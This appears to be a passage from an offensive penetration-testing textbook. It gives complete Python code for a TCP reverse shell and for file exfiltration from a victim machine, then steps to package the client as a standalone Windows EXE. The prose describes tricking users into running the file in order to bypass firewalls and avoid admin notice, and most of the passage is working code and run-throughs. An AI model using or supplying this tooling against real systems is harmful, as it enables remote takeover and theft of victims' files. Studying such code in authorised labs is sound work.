In this section, we will have a quick overview of TCP reverse shells, why we need a reverse connection, and what a shell is. The best way to answer these questions is to study the topology shown in the following figure:
Let's say that we have an Attacker connected somewhere on the Internet, and on the right side we have our Target. So technically, we have a PC that is fully patched with a built-in firewall enabled, and we have the corporate firewall in place. And most likely that Corporate firewall is integrated with an IPS module or Antivirus software. So now, for the attacker to access this protected PC, there are two major problems here. First, the attacker needs to bypass the built-in or the host-based firewall on the operating system, which, by default, will block any incoming connection to that PC unless it's explicitly permitted; and the same rule goes for the corporate firewall as well.
But, if the attacker could somehow find a way to send a malicious file to the user, or maybe trick that user into visiting our malicious website and downloading a malicious file, then we might be able to compromise that PC or maybe the whole network. So, in order to bypass the firewall root restriction, we need to make our target, which is the TCP client, initiate the connection back to us. So, in this case, we are acting as a TCP server, and our target, or our victim here, is acting as a TCP client and this is exactly why we need a reverse shell.
Now, we need to understand what a shell is in the first place. If we can initiate a cmd
process on the target machine and bind that process to a network socket, in this case, it's called a reverse shell. Hence, when we say that we sent a TCP reverse shell on port 123
to the target machine, it means that once the victim runs the file, we're expecting to receive a reverse TCP connection on port 123
. So, the destination port in this case will be 123
, and we should be listening on this port. So this port should be open in our Kali machine. Then, after completing the TCP three-way handshake, we can send certain commands to the victim/target, make the victim execute them, and get the result back to us.
Note
Keep in mind that a combination of social engineering and client-side attacks, which we discussed here, is the most powerful type of attack, and is highly likely to succeed.
In this section, we will call a sample TCP server on the Kali machine and a sample TCP client on the target machine. Then, we will see how to execute some commands remotely from the Kali machine.
Lets start with the server side. Building a TCP server in Python is quite simple:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # Basic TCP Server import socket # For Building TCP Connection def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's' s.bind(("10.0.2.15", 8080)) # define the kali IP and the listening port s.listen(1) # define the backlog size, since we are expecting a single connection from a single # target we will listen to one connection print '[+] Listening for incoming TCP connection on port 8080' conn, addr = s.accept() # accept() function will return the connection object ID (conn) and will return the client(target) IP address and source # port in a tuple format (IP,port) print '[+] We got a connection from: ', addr while True: command = raw_input("Shell> ") # Get user input and store it in command variable if 'terminate' in command: # If we got terminate command, inform the client and close the connect and break the loop conn.send('terminate') conn.close() break else: conn.send(command) # Otherwise we will send the command to the target print conn.recv(1024) # and print the result that we got back def main (): connect() main()
As you can see from the preceding code, the script starts with importing the socket
library, which is responsible for coding a low-level network interface. The AF_INIT
defines the socket address as a pair: the host and port. In this case, it will be 10.10.10.100
, and the port is 8080
. The SOCK_STREAM
is the default mode for the socket type. Now, the bind function specifies the Kali IP address and the listening port in a tuple format, which is 10.10.10.100
, and we should be listening on port 8080
to receive a connection.
Since we are expecting only a single connection from a single target, we'll be listening for a single connection. So the backlog size, which specifies the maximum number of queued connection, is 1
; and we define the listening value to be 1
. Now, the accept
function returns the value of a pair of connection objects (conn
), as well as the address (addr
). The address here is the target IP address and the source port used from the target to initiate the connection back to us. Next, we will go into an infinite loop and get our command input and send it to the target machine. This raw input is used to get the user input. If the user input was terminate
, we will inform our target that we want to close the session, and then we will close the session from our side. Otherwise, we will send a command
to the target, and we will read and print the first KB of the received data from the target side.
Now, let's look into the client side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # Basic TCP Client import socket # For Building TCP Connection import subprocess # To start the shell in the system def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's' s.connect(('10.0.2.15', 8080)) # Here we define the Attacker IP and the listening port while True: # keep receiving commands from the Kali machine command = s.recv(1024) # read the first KB of the tcp socket if 'terminate' in command: # if we got terminate order from the attacker, close the socket and break the loop s.close() break else: # otherwise, we pass the received command to a shell process CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) s.send( CMD.stdout.read() ) # send back the result s.send( CMD.stderr.read() ) # send back the error -if any-, such as syntax error def main (): connect() main()
We import the subprocess
to start the shell and the system. Next, the connection part is quite simple. We define s
and socket
object, and we specify the IP address of the Kali machine and the port that we should initiate the connection on. The port that we are listening to on the Kali machine should exactly match the port from which we initiate the connection from the target machine. Similar to the server side, we will go into an infinite loop and get the attacker command. If the attacker command is terminate
, or if there is a terminate
keyword or string in the command, then we close the connection and break the infinite loop, otherwise we will use the subprocess
to start a shell in the system. We will pass the command that we have received from the attacker machine to the subprocess
, and get the result or the error. Notice that the subprocess
has a kind of self-mechanism for exception handling. For instance, if we mistype a certain command on the Kali side and send the wrong syntax to the target, instead of crashing the process, the stderr
handles the exception and returns the error.
Let's quickly try our script from the Python IDE that we used earlier for the hello there
program. Run the server side first by clicking on Run
and selecting Run Module
. Just to verify that we have opened a listener on port 8080
, run the following command:
netstat -antp | grep "8080"
As you can see, python2.7
has opened the port and we are listening. Run the target script on the other VirtualBox. As shown in the following screenshot, we've got ten our shell from an IP address of 10.0.2.10
, which is the IP address of our Windows machine, and a source port of 49160
:
Let's explore the target machine a little bit starting with ipconfig
and dir
:
Let's go for arp -a
. We now get the ARP table on the target machine:
As shown in the previous screenshot, on mistyping a command, instead of crashing the script, the subprocess stderr
returns the wrong syntax error.
To quickly recap what we have done here so far, we have built a reverse TCP tunnel and got the user input using the raw input. When we type arp -a
, the raw input will get that command and then we will send it to the target machine. Once received at the target side, we initiate cmd
as a subprocess, send the error or the result back, and print it out on the target side.
In the previous section, we have seen how to navigate target directories. Now we will see how to grab these files. Ensure that, before grabbing any data from the target machine, the rules of engagement explicitly allow this.
So, let's start with the updated server side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # TCP Data Exfiltration Server import socket import os # Needed for file operation # In the transfer function, we first create a trivial file called "test.png" as a file holder just to hold the # received bytes , then we go into infinite loop and store the received data into our file holder "test.png", however # If the requested file doesn't exist or if we reached the end of the file then we will break the loop # note that we could know the end of the file, if we received the "DONE" tag from the target side # Keep in mind that you can enhance the code and dynamically change the test.png to other file extension based on the user input def transfer(conn,command): conn.send(command) f = open('/root/Desktop/test.png','wb') while True: bits = conn.recv(1024) if 'Unable to find out the file' in bits: print '[-] Unable to find out the file' break if bits.endswith('DONE'): print '[+] Transfer completed ' f.close() break f.write(bits) def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("10.0.2.15", 8080)) s.listen(1) print '[+] Listening for incoming TCP connection on port 8080' conn, addr = s.accept() print '[+] We got a connection from: ', addr while True: command = raw_input("Shell> ") if 'terminate' in command: conn.send('terminate') conn.close() break # if we received grab keyword from the user input, then this is an indicator for # file transfer operation, hence we will call transfer function # Remember the Formula is grab*<File Path> # Example: grab*C:\Users\Hussam\Desktop\photo.jpeg elif 'grab' in command: transfer(conn,command) else: conn.send(command) print conn.recv(1024) def main (): connect() main()
The elif 'grab' in command:
code indicates that this is not a normal command; this command is used to transfer a file. So, both the server and the client must agree on this indicator or formula. Now, the formula will be grab
followed by *
and the path of the file that we want to grab, for example, grab*C:\Users\Hussam\Desktop\photo.jpeg
.
Now, let's take a look at the client side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2 # TCP Data Exfiltration Client import socket import subprocess import os # needed for file operations # In the transfer function, we first check if the file exists in the first place, if not we will notify the attacker # otherwise, we will create a loop where each time we iterate we will read 1 KB of the file and send it, since the # server has no idea about the end of the file we add a tag called 'DONE' to address this issue, finally we close the file def transfer(s,path): if os.path.exists(path): f = open(path, 'rb') packet = f.read(1024) while packet != '': s.send(packet) packet = f.read(1024) s.send('DONE') f.close() else: # the file doesn't exist s.send('Unable to find out the file') def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('10.0.2.15', 8080)) while True: command = s.recv(1024) if 'terminate' in command: s.close() break # if we received grab keyword from the attacker, then this is an indicator for # file transfer operation, hence we will split the received commands into two # parts, the second part which we intrested in contains the file path, so we will # store it into a variable called path and pass it to transfer function # Remember the Formula is grab*<File Path> # Example: grab*C:\Users\Hussam\Desktop\photo.jpeg elif 'grab' in command: grab,path = command.split('*') try: # when it comes to low level file transfer, a lot of things can go wrong, therefore # we use exception handling (try and except) to protect our script from being crashed # in case something went wrong, we will send the error that happened and pass the exception transfer(s,path) except Exception,e: s.send ( str(e) ) # send the exception error pass else: CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) s.send( CMD.stdout.read() ) s.send( CMD.stderr.read() ) def main (): connect() main()
As mentioned previously, both the client and the server must agree on the grab
formula. So, on the client side, if we receive a grab string, we will split the command into two sections, the section before *
and the section after *
, where the second section contains the path and we will store the path in the path variable. Now, to make sure that our script will not crash if something goes wrong during the transfer, we will use the exception handler.
Next, we send the path
variable to the transfer
function. So, the first thing that we'll do in the transfer
function is to check whether the requested file exists in the first place or not. If not, then we'll send the 'Unable to find out the file'
message to the server.
Next, we will read the file as pieces or chunks, where each piece or each chunk has a value of 1 KB, and we will loop around until we reach the end of the file. And when we do so, we need to send an indicator or a tag to the server side to indicate that we have reached the end of the file. So, the DONE
string in the preceding code block is to indicate that we have reached the end of the file.
Now, on the server side, we create a placeholder or file holder. We will store the received bytes in test.png
, which is the file holder here. When the control enters the loop, and each time we read 1 KB of data, it's written into test.png
. When it receives the DONE
string, it means that we have reached the end of the file. So, the file is closed and the loop ends. Also, if the server gets Unable to find the file
, it will print this out and break the loop.
Now, run the server script again and we'll be listening to port 8080
. Once we run the script on the target side, we get the shell. Next, proceed to the directory and try to grab Module2.pdf
by running the grab*Module2.pdf
command:
When we type the aforementioned command, it will trigger the if
statement on both the client side as well as the server side. So, on the target when we receive a grab*Module2.pdf
, we will split up this command into two parts. The second part contains Module2.pdf
, which is the file that we want to grab. We will store it in the path variable as discussed previously. The code will check whether the file exists, read it in chunks, and send it over to the server side. This gives a response at the server side: [+] Transfer completed
.
Find the file on your desktop, it's called 1.txt
now, change the file extension to .pdf
, and rename the file, since we know that this is not an image but only a placeholder. Now, open Module2.pdf
using any PDF reader just to make sure that the file is not corrupt. It'll open without any errors if it hasn't been corrupted.
Let's try with another one. Now, we'll grab Tulips.png
:
Since the file that we want to grab has the same extension as our file holder, which is .png
, we don't need to change the file extension.
Try to grab any file that exists but the same rule applies here: change the name of the file with its original extension. Let's try with a file that does not exist. Go back to our shell, and type grab*blaaaah.exe
and it will throw an error, as shown in the following image:
This will crash our script on the target side, which you will see when you run ipconfig
.
You were probably expecting us to use a well-known protocol such as FTP, SCP, or secure FTP to do the file transfer. But we used a very low-level file transfer over a TCP socket, so you might ask why we performed it. Since these well-known protocols could be blocked on the firewall, we won't be able to grab any files out. What we have done here is, instead of initiating a new channel every time we want to transfer a file which may trigger the admin's attention, create a single TCP socket, a single session, to gain access, doing a remote shell, as well as for file transfer. This type of transfer is called an inline transfer, where we got a single channel and a single session to perform all the desired actions.
There are multiple methods to export your Python script into a standalone EXE file. Today we'll use py2exe
library. You can download the py2exe-0.6.9.win32-py2.7.exe
version from https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/.
First, proceed to install this library. It is a fairly simple process just follow the on-screen prompts.
After you've finished the installation, open a Python window on the Windows machine and import py2exe
just to make sure that we can import this library without any exceptions. Type python
and then import py2exe
. If it doesn't throw a error, you're successful:
Now, create a folder named Toexe
on your desktop. In this folder, you should have three things: the py2exe
binary file, py2exe
setup file, and your Client.py
script file. For simplicity, rename the binary to py2exe
.
The setup file, setup.py
, will set the criteria for the final standalone EXE file:
# py2exe download link: http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/ from distutils.core import setup import py2exe , sys, os sys.argv.append("py2exe") setup( options = {'py2exe': {'bundle_files': 1}}, windows = [{'script': "Client.py"}], zipfile = None, )
In the setup.py
script, we start by appending the py2exe
binary into our directory. Then, we set the bundle_files
to1
. Define the name of our script,Client.py
. Setzipfile
to None
and run thissetup
file.
Two folders will be created, called build
and dist
, after performing the aforementioned steps, as shown in the following screenshot:
So under the dist
folder, we got our Client.exe
as a standalone, without any dependencies. Now, on running Client.exe
, we will get the connection (provided the server script from the previous section Data exfiltration, is running on the Kali side) and we can see that a the Client.exe
process has been created on the Windows Task Manager
, as shown in the following screenshot:
So once again, perform a quick verification as follows:
- Run
ipconfig
- Navigate through the directories
- Grab a file such as
Koala.png
and wait for its successful transfer:
- Change the file extension to
.png
- Now, open the image and, after successfully viewing it, terminate the
Client.exe
process - Execute
terminate
in the shell on your Kali machine - Once you hit Enter, it gets terminated on the target machine